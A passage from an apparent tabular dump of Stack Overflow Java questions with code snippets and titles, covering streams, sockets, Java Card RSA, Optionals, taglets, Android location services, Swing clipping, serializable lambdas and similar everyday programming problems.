D > ) is not applicable ( inferred type does not conform to upper bound ( s ) inferred : java.lang.Object upper bound ( s ) : java.lang.Comparable < ? super T > , T , java.lang.Object )",Comparator in collector in stream causes issues with type inference ? +Java,In Java for example there is the primitive data type `` int '' which represents a 32 Bit value and there is `` Integer '' which is just a class with a single `` int '' property ( and some methods of course ) . That means that a Java `` Integer '' class still uses primitives behind the scenes . And that 's the reason Java is not a pure object oriented programming language.Where could a value be stored if there where no primitives ? For example I imagine this pseudo class : This would be recursive.How can a programming language be implemented without primitives ? I appreciate any help solving my confusion .,class Integer { private Integer i = 12 ; public Integer getInteger { return this.Integer ; } },How can everything be an object ? +Java,Will socket be closed as well ?,ServerSocket serverSocket = new ServerSocket ( some_port ) ; Socket socket = serverSocket.accept ( ) ; serverSocket.close ( ) ;,"If I close a ServerSocket , will the Sockets accepted by the ServerSocket be also closed ?" +Java,"To compute efficiently a square in Java Card , I want to use the algorithm ALG_RSA_NOPAD with an exponent equals to 2 and a modulus greater than the expected result ( so the modular reduction has no effect ) .But I 'm not able to use the algorithm ALG_RSA_NOPAD . In fact , when I call the method doFinal ( ) I get a CryptoException which is ILLEGAL_VALUE . In the Java Card 2.2.2 spec , it 's said that : CryptoException.ILLEGAL_USE if one of the following conditions is met : • This Cipher algorithm does not pad the message and the message is not block aligned . • This Cipher algorithm does not pad the message and no input data has been provided in inBuff or via the update ( ) method . • The input message length is not supported . • The decrypted data is not bounded by appropriate padding bytes.So I conclude that my message is n't block aligned . But what does block aligned mean for this algorithm ? Does my message have the same length that the modulus ? The exponent ? I tried different things but I did n't find ... The corresponding code : So the CryptoException is raised at the last line , but I do n't really understand why . ( Note that , in my code , I set the modulus to the greatest value of 128bytes length to be sure that the square wo n't be affected . )","byte [ ] res_RSA = new byte [ ( short ) 0x0080 ] ; KeyPair rsa_KeyPair = new KeyPair ( KeyPair.ALG_RSA , KeyBuilder.LENGTH_RSA_1024 ) ; rsa_KeyPair.genKeyPair ( ) ; RSAPublicKey rsa_PubKey ; rsa_PubKey = ( RSAPublicKey ) rsa_KeyPair.getPublic ( ) ; rsa_PubKey.setExponent ( new byte [ ] { ( byte ) 0x02 } , ( short ) 0x00000 , ( short ) 0x0001 ) ; rsa_PubKey.setModulus ( new byte [ ] { ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , ( byte ) 0xFF , } , ( short ) 0x0000 , ( short ) 0x0080 ) ; cipherRSA = Cipher.getInstance ( Cipher.ALG_RSA_NOPAD , false ) ; x = new byte [ ] { ( byte ) 0x0C , ( byte ) 0xE2 , ( byte ) 0x65 , ( byte ) 0x92 , ( byte ) 0x98 , ( byte ) 0x84 , ( byte ) 0x4C , ( byte ) 0x6C , ( byte ) 0x39 , ( byte ) 0x31 , ( byte ) 0x78 , ( byte ) 0x22 , ( byte ) 0x99 , ( byte ) 0x39 , ( byte ) 0xAD , ( byte ) 0xAD , ( byte ) 0x74 , ( byte ) 0x31 , ( byte ) 0x45 , ( byte ) 0xD2 , ( byte ) 0xB9 , ( byte ) 0x37 , ( byte ) 0xB2 , ( byte ) 0x92 , ( byte ) 0x7D , ( byte ) 0x32 , ( byte ) 0xE9 , ( byte ) 0x70 , ( byte ) 0x91 , ( byte ) 0x7D , ( byte ) 0x78 , ( byte ) 0x45 , ( byte ) 0xC9 , ( byte ) 0x5C , ( byte ) 0xF9 , ( byte ) 0xF2 , ( byte ) 0xFD , ( byte ) 0xB9 , ( byte ) 0xAE , ( byte ) 0x6C , ( byte ) 0xC9 , ( byte ) 0x42 , ( byte ) 0x64 , ( byte ) 0xBA , ( byte ) 0x2A , ( byte ) 0xCE , ( byte ) 0x5A , ( byte ) 0x71 , ( byte ) 0x60 , ( byte ) 0x58 , ( byte ) 0x56 , ( byte ) 0x17 , ( byte ) 0x2E , ( byte ) 0x25 , ( byte ) 0xDD , ( byte ) 0x47 , ( byte ) 0x23 , ( byte ) 0x6B , ( byte ) 0x15 , ( byte ) 0x76 , ( byte ) 0x8F , ( byte ) 0x2A , ( byte ) 0x87 , ( byte ) 0xC7 } ; cipherRSA.init ( rsa_PubKey , Cipher.MODE_ENCRYPT ) ; cipherRSA.doFinal ( x , ( short ) 0x0000 , ( short ) 0x0040 , res_RSA , ( short ) 0x0000 ) ;",ALG_RSA_NOPAD in Java Card +Java,"In my current job we are rewriting some code to Java 8.If you have code like this : you can simply rewrite it towithout changing code behaviour . but what if something in the middle can throw NPE because it is not checked to null ? for example : what is the best way to rewrite code like this using optionals ? ( it should work exactly the same and throw npe when getMasterUser ( ... ) returns null ) UPDsecond example : it has nullchecks for api , user , boss , but not department . how can it be made using optionals ?",if ( getApi ( ) ! = null & & getApi ( ) .getUser ( ) ! = null & & getApi ( ) .getUser ( ) .getCurrentTask ( ) ! = null ) { getApi ( ) .getUser ( ) .getCurrentTask ( ) .pause ( ) ; } Optional.ofNullable ( this.getApi ( ) ) .map ( Api : :getUser ) .map ( User : :getCurrentTask ) .ifPresent ( Task : :pause ) ; if ( getApi ( ) ! = null & & getApi ( ) .getUser ( ) ! = null & & getApi ( ) .hasTasks ( ) ) { getApi ( ) .getMasterUser ( getApi ( ) .getUser ( ) ) // < - npe can be here .getCurrentTask ( ) .pause ( ) ; } if ( getApi ( ) ! =null & & getApi.getUser ( ) ! = null ) { if ( getApi ( ) .getUser ( ) .getDepartment ( ) .getBoss ( ) ! = null ) // < - nre if department is null { getApi ( ) .getUser ( ) .getDepartment ( ) .getBoss ( ) .somefunc ( ) ; } },How to rewrite code to optionals ? +Java,"I am looking forward to know some best approaches to manage properties files.We have a set of devices ( say N ) . Each of these devices has certain properties.e.g . Device A has propertiesA.a11=valuea11A.a12=valuea12.Device B has propertiesB.b11=valueb11B.b12=valueb12.Apart from this they have some common properties applicable for all devices . X.x11=valuex11X.x12=valuex12I am writing an automation for running some test suites on these devices . At a time , test script on run on a single device . The device name will be passed as a argument . Based on the device name , code will grab the respective properties and common properties and update the device with these properties . e.g . for device A , code will grab the A.a11 , A.a12 ( device A specific ) and X.x11 , X.x12 ( common ) properties and upload it to the device before running test script.So , in code , I need to manage these properties so that only device specific and common properties will be uploaded to the device , ignoring the rest one . I am managing it like thisManaging device in this way is becoming little bit difficult as the number of devices are keep on increasing.So I am looking forward for some other best approach to manage these properties .",if ( $ device eq ' A ' ) then upload A 's propertieselsif ( $ device eq ' B ' ) then upload B 's propertiesendifupload Common ( X ) properties .,best practices to managing and loading properties +Java,"I 've written a custom taglet library with names that start with a dot : .codelet , .codelet.and.out , etcetera . It is compiled with JDK 7.When generating JavaDoc using the 1.7 javadoc.exe , it works fine . But when generating it with JDK 8 , it fails becauseIf I change the code using the taglet ( not the taglet code itself ) to { @ codelet mypkg.Temp } : Changing the name in the taglet source code to be cod.elet ( code.let is not good because code is an already existing taglet name ) , and using that new name , it works.The JavaDoc tool documentation for the -tag option ( near the bottom of the section ) states : Avoiding conflicts : If you want to create your own namespace , then you can use a dot-separated naming convention similar to that used for packages : com.mycompany.todo . Oracle will continue to create standard tags whose names do not contain dots . Any tag you create will override the behavior of a tag by the same name defined by Oracle . If you create a @ todo tag or taglet , then it always has the same behavior you define , even when Oracle later creates a standard tag of the same name.So am I missing something here ? Or it this an undocumented change that just really sucks ? Because it requires a pretty big change in my library , if that 's the case.FYI : Taglet overview docs",C : \ ... \Temp.java:5 : error : no tag name after @ * { @ .codelet mypkg.Temp } ` C : \ ... \Temp.java:5 : error : unknown tag : codelet * { @ codelet mypkg.Temp } Note : Custom tags that were not seen : @ .codelet1 error,JDK 1.7 allows custom taglets with names *starting* with a dot . JDK 1.8 forbids it ? +Java,Suppose here is my class : What algorithm eclipse uses to generate serialVersionUID = -5186261241138469827L ?,class B implements Serializable { private static final long serialVersionUID = -5186261241138469827L ; // what algo is used to generate this ... ... ... . },What algorithm is used by eclipse to generate verison id in Serializable class ? +Java,"I need to get location ( By fusedlocation API ) of user after ActivityRecognition Detect user state ( Which calls every 3 mins ) , like IN_VEHICLE , ON_FOOT , RUNNING etc.On each event i need user location after regular interval For example : if user is still then setInterval ( 5*60*60*1000 ) ; and check for next location update in not before 5 hour . But ActivityRecognation Will call every 3 min . if user is Running then setInterval ( 2*60*1000 ) ; and check for next location update in not before/After 2 mins . But ActivityRecognation Will call every 3 min.if user is running then send location every 1 minsif user is Driving then send location every 15 mins.I tried to set boolean false in onConnected to false and true at class level . But it always turn into true because whole Intent service is called after 3 mins.Issue I am current havingActivityRecognation Gets User State every 3 mins but it should not enter into startLocationFirst boolean until it comes from another ActivityRecognation State and keep updating location as set inside startLocationFirstHere is IntentService With FusedLocation","if ( startLocationFirst ) { requestLocatonSetting ( 5*60*60*1000,3*60*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; LocationAPIclient.connect ( ) ; // RequestLocation and GoogleAPIClient wo n't call until device comes from another ActivityRecognation State running , walking etc . And keep Updating location every 5 hours . } public class Activity_Recognized_Service extends IntentService implements GoogleApiClient.OnConnectionFailedListener , GoogleApiClient.ConnectionCallbacks , LocationListener { /** * Creates an IntentService . Invoked by your subclass 's constructor . * * @ param name Used to name the worker thread , important only for debugging . */ public static final String TAG = `` # # # RECOGNISED SRVCE # # # '' ; Timer timer ; GoogleApiClient LocationAPIclient ; LocationRequest mLocationRequest ; Location mCurrentLocation ; boolean startLocationFirst=true ; public Activity_Recognized_Service ( ) { super ( `` Activity_Recognized_Service '' ) ; } public Activity_Recognized_Service ( String name ) { super ( name ) ; } @ Override protected void onHandleIntent ( @ Nullable Intent intent ) { Log.d ( TAG , `` On Handle Intent '' ) ; if ( ActivityRecognitionResult.hasResult ( intent ) ) { Log.d ( TAG , `` ActivityRecognition Has Result '' ) ; ActivityRecognitionResult result = ActivityRecognitionResult.extractResult ( intent ) ; handleDetectedActivities ( result.getProbableActivities ( ) ) ; Navigation_Drawer nav = new Navigation_Drawer ( ) ; nav.UserMovementResult ( result ) ; } } @ Override public void onCreate ( ) { super.onCreate ( ) ; Log.d ( TAG , '' On Create Calling '' ) ; if ( LocationAPIclient == null ) { Log.d ( TAG , `` Location API is NULL Value Of This `` ) ; LocationAPIclient = new GoogleApiClient.Builder ( this ) .addApi ( LocationServices.API ) .addConnectionCallbacks ( this ) .addOnConnectionFailedListener ( this ) .build ( ) ; } } private void handleDetectedActivities ( List < DetectedActivity > probableActivities ) { for ( DetectedActivity activity : probableActivities ) { switch ( activity.getType ( ) ) { case DetectedActivity.IN_VEHICLE : Log.d ( TAG , `` In Vehicle `` + activity.getConfidence ( ) ) ; if ( activity.getConfidence ( ) > = 75 ) { //Send Notification To User NotificationCompat.Builder builder = new NotificationCompat.Builder ( this ) ; builder.setContentText ( `` In Vehicle '' ) ; builder.setSmallIcon ( R.drawable.elaxer_x ) ; builder.setContentTitle ( `` Elaxer '' ) ; NotificationManagerCompat.from ( this ) .notify ( 0 , builder.build ( ) ) ; requestLocatonSetting ( 10*60*1000,8*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //5 hours= hours * 60 min*60 sec* 1000 milliseconds //requestLocatonSetting ( 6*60*1000,6*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //TEST LocationAPIclient.connect ( ) ; if ( startLocationFirst ) { Log.d ( TAG , '' Start Location Update For Car '' ) ; } } break ; case DetectedActivity.ON_BICYCLE : Log.d ( TAG , `` On Bicycle `` + activity.getConfidence ( ) ) ; if ( activity.getConfidence ( ) > = 75 ) { //Send Notification To User NotificationCompat.Builder builder = new NotificationCompat.Builder ( this ) ; builder.setContentText ( `` On Bicycle '' ) ; builder.setSmallIcon ( R.drawable.elaxer_x ) ; builder.setContentTitle ( `` Elaxer '' ) ; NotificationManagerCompat.from ( this ) .notify ( 0 , builder.build ( ) ) ; requestLocatonSetting ( 7*60*1000,5*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //5 hours= hours * 60 min*60 sec* 1000 milliseconds //requestLocatonSetting ( 6*60*1000,6*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //TEST LocationAPIclient.connect ( ) ; } break ; case DetectedActivity.ON_FOOT : Log.d ( TAG , `` On Foot `` + activity.getConfidence ( ) ) ; if ( activity.getConfidence ( ) > = 75 ) { //Send Notification To User NotificationCompat.Builder builder = new NotificationCompat.Builder ( this ) ; builder.setContentText ( `` On Foot '' ) ; builder.setSmallIcon ( R.drawable.elaxer_x ) ; builder.setContentTitle ( `` Elaxer '' ) ; NotificationManagerCompat.from ( this ) .notify ( 0 , builder.build ( ) ) ; } break ; case DetectedActivity.RUNNING : Log.d ( TAG , `` On Running `` + activity.getConfidence ( ) ) ; if ( activity.getConfidence ( ) > = 75 ) { //Send Notification To User NotificationCompat.Builder builder = new NotificationCompat.Builder ( this ) ; builder.setContentText ( `` Running '' ) ; builder.setSmallIcon ( R.drawable.elaxer_x ) ; builder.setContentTitle ( `` Elaxer '' ) ; NotificationManagerCompat.from ( this ) .notify ( 0 , builder.build ( ) ) ; requestLocatonSetting ( 3*60*1000,2*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //5 hours= hours * 60 min*60 sec* 1000 milliseconds //requestLocatonSetting ( 6*60*1000,6*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //TEST LocationAPIclient.connect ( ) ; } break ; case DetectedActivity.STILL : Log.d ( TAG , `` On Still `` + activity.getConfidence ( ) ) ; if ( activity.getConfidence ( ) > = 75 ) { //Send Notification To User NotificationCompat.Builder builder = new NotificationCompat.Builder ( this ) ; builder.setContentText ( `` Still '' ) ; builder.setSmallIcon ( R.drawable.elaxer_x ) ; builder.setContentTitle ( `` Elaxer '' ) ; NotificationManagerCompat.from ( this ) .notify ( 0 , builder.build ( ) ) ; requestLocatonSetting ( 5*60*60*1000,3*60*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //5 hours= hours * 60 min*60 sec* 1000 milliseconds // requestLocatonSetting ( 3*60*1000,2*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //TEST LocationAPIclient.connect ( ) ; } break ; case DetectedActivity.TILTING : Log.d ( TAG , `` On Tilting `` + activity.getConfidence ( ) ) ; if ( activity.getConfidence ( ) > = 75 ) { //Send Notification To User NotificationCompat.Builder builder = new NotificationCompat.Builder ( this ) ; builder.setContentText ( `` Tilting '' ) ; builder.setSmallIcon ( R.drawable.elaxer_x ) ; builder.setContentTitle ( `` Elaxer '' ) ; NotificationManagerCompat.from ( this ) .notify ( 0 , builder.build ( ) ) ; requestLocatonSetting ( 3*60*1000,2*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //5 hours= hours * 60 min*60 sec* 1000 milliseconds //requestLocatonSetting ( 6*60*1000,6*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //TEST LocationAPIclient.connect ( ) ; } break ; case DetectedActivity.WALKING : Log.d ( TAG , `` On Walking `` + activity.getConfidence ( ) ) ; if ( activity.getConfidence ( ) > = 75 ) { //Send Notification To User NotificationCompat.Builder builder = new NotificationCompat.Builder ( this ) ; builder.setContentText ( `` Let 's Walk '' ) ; builder.setSmallIcon ( R.drawable.elaxer_x ) ; builder.setContentTitle ( `` Elaxer '' ) ; NotificationManagerCompat.from ( this ) .notify ( 0 , builder.build ( ) ) ; requestLocatonSetting ( 3*60*1000,2*60*1000 , LocationRequest.PRIORITY_HIGH_ACCURACY ) ; //5 hours= hours * 60 min*60 sec* 1000 milliseconds LocationAPIclient.connect ( ) ; } break ; case DetectedActivity.UNKNOWN : Log.d ( TAG , `` UnKnown `` + activity.getConfidence ( ) ) ; break ; } } } public void setTimer ( int Minutes ) { Log.d ( TAG , `` ================================================== '' ) ; Log.d ( TAG , `` Set Timeer Starts It will Run Every `` + Minutes ) ; int MilliSeconds = 60000 * Minutes ; final Handler handler = new Handler ( ) ; timer = new Timer ( ) ; TimerTask doAsynchronousTask = new TimerTask ( ) { @ Override public void run ( ) { handler.post ( new Runnable ( ) { public void run ( ) { try { //CODE THAT YOU WANT TO EXECUTE AT GIVEN INTERVAL } catch ( Exception e ) { // TODO Auto-generated catch block } } } ) ; } } ; timer.schedule ( doAsynchronousTask , 0 , MilliSeconds ) ; Log.d ( TAG , `` ================================================== '' ) ; } @ Override public void onConnected ( @ Nullable Bundle bundle ) { Log.d ( TAG , `` On Connected Running '' ) ; if ( ActivityCompat.checkSelfPermission ( this , Manifest.permission.ACCESS_FINE_LOCATION ) ! = PackageManager.PERMISSION_GRANTED & & ActivityCompat.checkSelfPermission ( this , Manifest.permission.ACCESS_COARSE_LOCATION ) ! = PackageManager.PERMISSION_GRANTED ) { return ; } mCurrentLocation = LocationServices.FusedLocationApi.getLastLocation ( LocationAPIclient ) ; if ( mCurrentLocation ! =null ) { Log.d ( TAG , '' Last Known Location Is not Null `` ) ; new Location_sendeToServer_AsyncTask ( this ) .execute ( String.valueOf ( mCurrentLocation.getLatitude ( ) ) , String.valueOf ( mCurrentLocation.getLongitude ( ) ) , String.valueOf ( mCurrentLocation.getAccuracy ( ) ) ) ; } else { Log.d ( TAG , '' Last Known Location Is NULL Start Location Updates '' ) ; LocationServices.FusedLocationApi.requestLocationUpdates ( LocationAPIclient , mLocationRequest , this ) ; } } @ Override public void onConnectionSuspended ( int i ) { } @ Override public void onConnectionFailed ( @ NonNull ConnectionResult connectionResult ) { } @ Override public void onLocationChanged ( Location location ) { Log.d ( TAG , '' On Location Changed Calling '' ) ; mCurrentLocation=location ; new Location_sendeToServer_AsyncTask ( this ) .execute ( String.valueOf ( mCurrentLocation.getLatitude ( ) ) , String.valueOf ( mCurrentLocation.getLongitude ( ) ) , String.valueOf ( mCurrentLocation.getAccuracy ( ) ) ) ; Log.d ( TAG , '' Stopping Location Update '' ) ; // LocationServices.FusedLocationApi.removeLocationUpdates ( LocationAPIclient , this ) ; } public void requestLocatonSetting ( int Interval , int FastestInterval , int LocationAccuracy ) { mLocationRequest=new LocationRequest ( ) ; mLocationRequest.setInterval ( Interval ) ; mLocationRequest.setFastestInterval ( FastestInterval ) ; mLocationRequest.setPriority ( LocationAccuracy ) ; } }",Location Updating on basis of device state +Java,"How to filter a Map < String , Map < String , Employee > > using Java 8 Filter ? I have to filter only when any of employee in the list having a field value Gender = `` M '' .Input : Map < String , Map < String , Employee > > Output : Map < String , Map < String , Employee > > Filter criteria : Employee.genter = `` M '' Also i have to return empty map if the filtered result is empty.I tried the below , but it is not working as expected . It is returning the only if all the Employees are with gender `` M '' .","tempCollection.entrySet ( ) .stream ( ) .filter ( i - > i.getValue ( ) .entrySet ( ) .stream ( ) .allMatch ( e- > `` M '' .equals ( e.getValue ( ) .getGender ( ) ) ) ) .collect ( Collectors.toMap ( Map.Entry : :getKey , Map.Entry : :getValue ) ) ;","Java 8 Strem filter map in map -- Map < String , Map < String , Employee > >" +Java,"I want to create a dialog with a custom shape and transparency , think info bubble pointing to some component.To do so , I add a JPanel to a JDialog and overwrite the paintComponent ( Graphics ) method of the panel . The panel itself contains regular JLabels and JButtons.Works fine , but as soon as I use Graphics2D.setClip ( Shape ) in the panel draw code , the components are getting overdrawn by the background . If I do n't set the clip ( to a completely fresh Graphics2D object , no less ) , everything works fine.This is very puzzling to me and I have no idea what I can do to fix it.P.S . : I can not use setShape ( Shape ) on the JDialog because no anti aliasing is available there.P.P.S . : The actual usecase is to draw a large background image which must be cut off at exactly the info bubble shape.The following SSCCE demonstrates the issue when you mouse over the ' x ' in the top right corner multiple times.EDIT : To circumvent this particular bug on Windows , I added the following which did not cause problems or performance hits in my use case ( might vary for you ) :","import java.awt.BorderLayout ; import java.awt.Color ; import java.awt.Graphics ; import java.awt.Graphics2D ; import java.awt.GridBagConstraints ; import java.awt.GridBagLayout ; import java.awt.Insets ; import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import javax.swing.JButton ; import javax.swing.JDialog ; import javax.swing.JFrame ; import javax.swing.JLabel ; import javax.swing.JPanel ; import javax.swing.JTextArea ; import java.awt.Polygon ; import java.awt.Shape ; public class Java2DTransparencySSCE extends JDialog { JPanel panel ; private JButton close ; private JLabel headline ; private JLabel mainText ; public Java2DTransparencySSCE ( ) { setLayout ( new BorderLayout ( ) ) ; setFocusable ( false ) ; setFocusableWindowState ( false ) ; setUndecorated ( true ) ; setBackground ( new Color ( 0 , 0 , 0 , 0 ) ) ; panel = new JPanel ( new GridBagLayout ( ) ) { @ Override public void paintComponent ( final Graphics g ) { super.paintComponent ( g ) ; Graphics2D gImg = ( Graphics2D ) g.create ( ) ; // if the line below is removed , everything works.. Shape oldClip= gImg.getClip ( ) ; // both the shape and a standard rectangular clip break everything // gImg.setClip ( 50 , 50 , 50 , 50 ) ; Polygon shape = new Polygon ( new int [ ] { 0 , 100 , 100 , 50 , 0 } , new int [ ] { 200 , 200 , 100 , 50 , 100 } , 5 ) ; gImg.setClip ( shape ) ; gImg.setColor ( new Color ( 255 , 0 , 0 , 50 ) ) ; gImg.fill ( shape ) ; gImg.setClip ( oldClip ) ; gImg.dispose ( ) ; } } ; panel.setOpaque ( false ) ; add ( panel , BorderLayout.CENTER ) ; headline = new JLabel ( `` This is a title '' ) ; mainText = new JLabel ( `` < html > < div style=\ '' line-height : 150 % ; width:100px \ '' > This is some sort of text which is rather long and thus pretty boring to actually read . Thanks for reading anyway ! < /div > < /html > '' ) ; close = new JButton ( `` X '' ) ; close.setBorderPainted ( false ) ; close.setContentAreaFilled ( false ) ; close.addActionListener ( new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { System.exit ( 0 ) ; } } ) ; layoutPanel ( ) ; } private void layoutPanel ( ) { GridBagConstraints constraints = new GridBagConstraints ( ) ; constraints.gridx = 0 ; constraints.gridy = 0 ; constraints.insets = new Insets ( 10 , 10 , 10 , 10 ) ; constraints.fill = GridBagConstraints.BOTH ; constraints.weightx = 1 ; panel.add ( headline , constraints ) ; constraints.gridx += 1 ; constraints.weightx = 0 ; constraints.fill = GridBagConstraints.NONE ; panel.add ( close , constraints ) ; constraints.gridx = 0 ; constraints.gridy += 1 ; constraints.gridwidth = 2 ; constraints.weightx = 1 ; constraints.weighty = 1 ; constraints.fill = GridBagConstraints.BOTH ; panel.add ( mainText , constraints ) ; pack ( ) ; } public static void main ( String [ ] args ) { JFrame parent = new JFrame ( ) ; JPanel pane = new JPanel ( new BorderLayout ( ) ) ; pane.add ( new JTextArea ( `` This is a text . `` ) ) ; parent.setContentPane ( pane ) ; parent.setSize ( 400 , 400 ) ; parent.setLocation ( 400 , 300 ) ; parent.setDefaultCloseOperation ( JDialog.EXIT_ON_CLOSE ) ; parent.setVisible ( true ) ; JDialog dialog = new Java2DTransparencySSCE ( ) ; dialog.setLocation ( 500 , 400 ) ; dialog.setAlwaysOnTop ( true ) ; dialog.setVisible ( true ) ; } } JDialog dialog = new Java2DTransparencySSCE ( ) { @ Override public void paint ( Graphics g ) { g.setClip ( null ) ; super.paint ( g ) ; } } ;",Very weird Java2D setClip ( ) effect - bug ? +Java,My Question : I was looking at the source code of TextWatcher and I did n't get the concept here . What was the point of extending to NoCopySpan ? TextWatcher.java : NoCopySpan.java :,"public interface TextWatcher extends NoCopySpan { public void beforeTextChanged ( CharSequence s , int start , int count , int after ) ; public void onTextChanged ( CharSequence s , int start , int before , int count ) ; public void afterTextChanged ( Editable s ) ; } package android.text ; /** * This interface should be added to a span object that should not be copied into a new Spanned when performing a slice or copy operation on the original Spanned it was placed in . */public interface NoCopySpan { /** * Convenience equivalent for when you would just want a new Object ( ) for * a span but want it to be no-copy . Use this instead . */ public class Concrete implements NoCopySpan { } }","Inner Class inside an Interface implementing same Interface , what we are achieving by this ?" +Java,"I want to check , if a LongStream contains a specific number at least once , but not totally consists of this number : My approach : Tests : I know that anyMatch can´t work in my problem , but the best solution I found . How can I get all tests passing ?","public static boolean containsNum ( LongStream input , int n ) { return input.anyMatch ( i - > i == n ) ; } assertEquals ( false , containsNum ( LongStream.of ( 1 , 2 , 3 ) , 19 ) ) ; // okassertEquals ( true , containsNum ( LongStream.of ( 1 , 2 , 3 , 19 ) , 19 ) ) ; //okassertEquals ( true , containsNum ( LongStream.of ( 1 , 19 , 19 ) , 19 ) ) ; //okassertEquals ( false , containsNum ( LongStream.of ( 1 ) , 19 ) ) ; //okassertEquals ( false , containsNum ( LongStream.of ( 19 , 19 ) , 19 ) ) ; // FAILassertEquals ( false , containsNum ( LongStream.of ( 19 ) , 19 ) ) ; //FAIL",Java Long Stream contains specific number +Java,"I wrote this code : If I run it , I 'll get an exception : However , my understanding is that I properly made the lambda Serializable and I declared it such that it does n't refer to any surrounding context , being therefore a non-capturing lambda . Yet the Main instance is captured and the result of the lambda expression fails to be serialized . I realize I 'm declaring an anonymous class inside the lambda , but I would expect the lambda instance itself to be its enclosing instance , not the surrounding Main type.Is this behavior expected by the Java Language Specification and , if yes , how come ?",import java.io.ObjectOutputStream ; import java.io.Serializable ; import java.util.function.Supplier ; public class Main { public static void main ( String [ ] args ) throws Exception { new Main ( ) ; } private Main ( ) throws Exception { Supplier < Thread > supplier = ( Supplier < Thread > & Serializable ) ( ) - > new Thread ( ) { } ; new ObjectOutputStream ( System.out ) .writeObject ( supplier ) ; } } Exception in thread `` main '' java.io.NotSerializableException : Mainat java.io.ObjectOutputStream.writeObject0 ( ObjectOutputStream.java:1184 ) at java.io.ObjectOutputStream.writeArray ( ObjectOutputStream.java:1378 ) at java.io.ObjectOutputStream.writeObject0 ( ObjectOutputStream.java:1174 ) at java.io.ObjectOutputStream.defaultWriteFields ( ObjectOutputStream.java:1548 ) at java.io.ObjectOutputStream.writeSerialData ( ObjectOutputStream.java:1509 ) at java.io.ObjectOutputStream.writeOrdinaryObject ( ObjectOutputStream.java:1432 ) at java.io.ObjectOutputStream.writeObject0 ( ObjectOutputStream.java:1178 ) at java.io.ObjectOutputStream.writeObject ( ObjectOutputStream.java:348 ) at Main. < init > ( Main.java:28 ),Non-capturing lambda seems to nevertheless capture the enclosing instance +Java,"I am trying to run the images from animation list after certain time , but I also have added the gallery at the top of the screen , from where the user can select any image and it will be displayed , and I have created the thread which will keep starting the animation again and again after five seconds.My code is : The issue is when the activty starts animation start running and images keep changing , but once I press any of the image from gallery , animation stops and it does not start again , , , ,please help me find the problem .","int imgs [ ] = { R.drawable.mashad_one , R.drawable.mashad_two , R.drawable.mashad_three , R.drawable.mashad_four , R.drawable.mashad_five , R.drawable.mashad_six , R.drawable.mashad_seven , } ; int i=0 , flag=0 ; ImageSwitcher imgBus ; AnimationDrawable animation ; Handler mHandler = new Handler ( ) ; void func ( ) { imgBus.setFactory ( this ) ; } @ SuppressLint ( `` NewApi '' ) @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; this.getWindow ( ) .setFlags ( 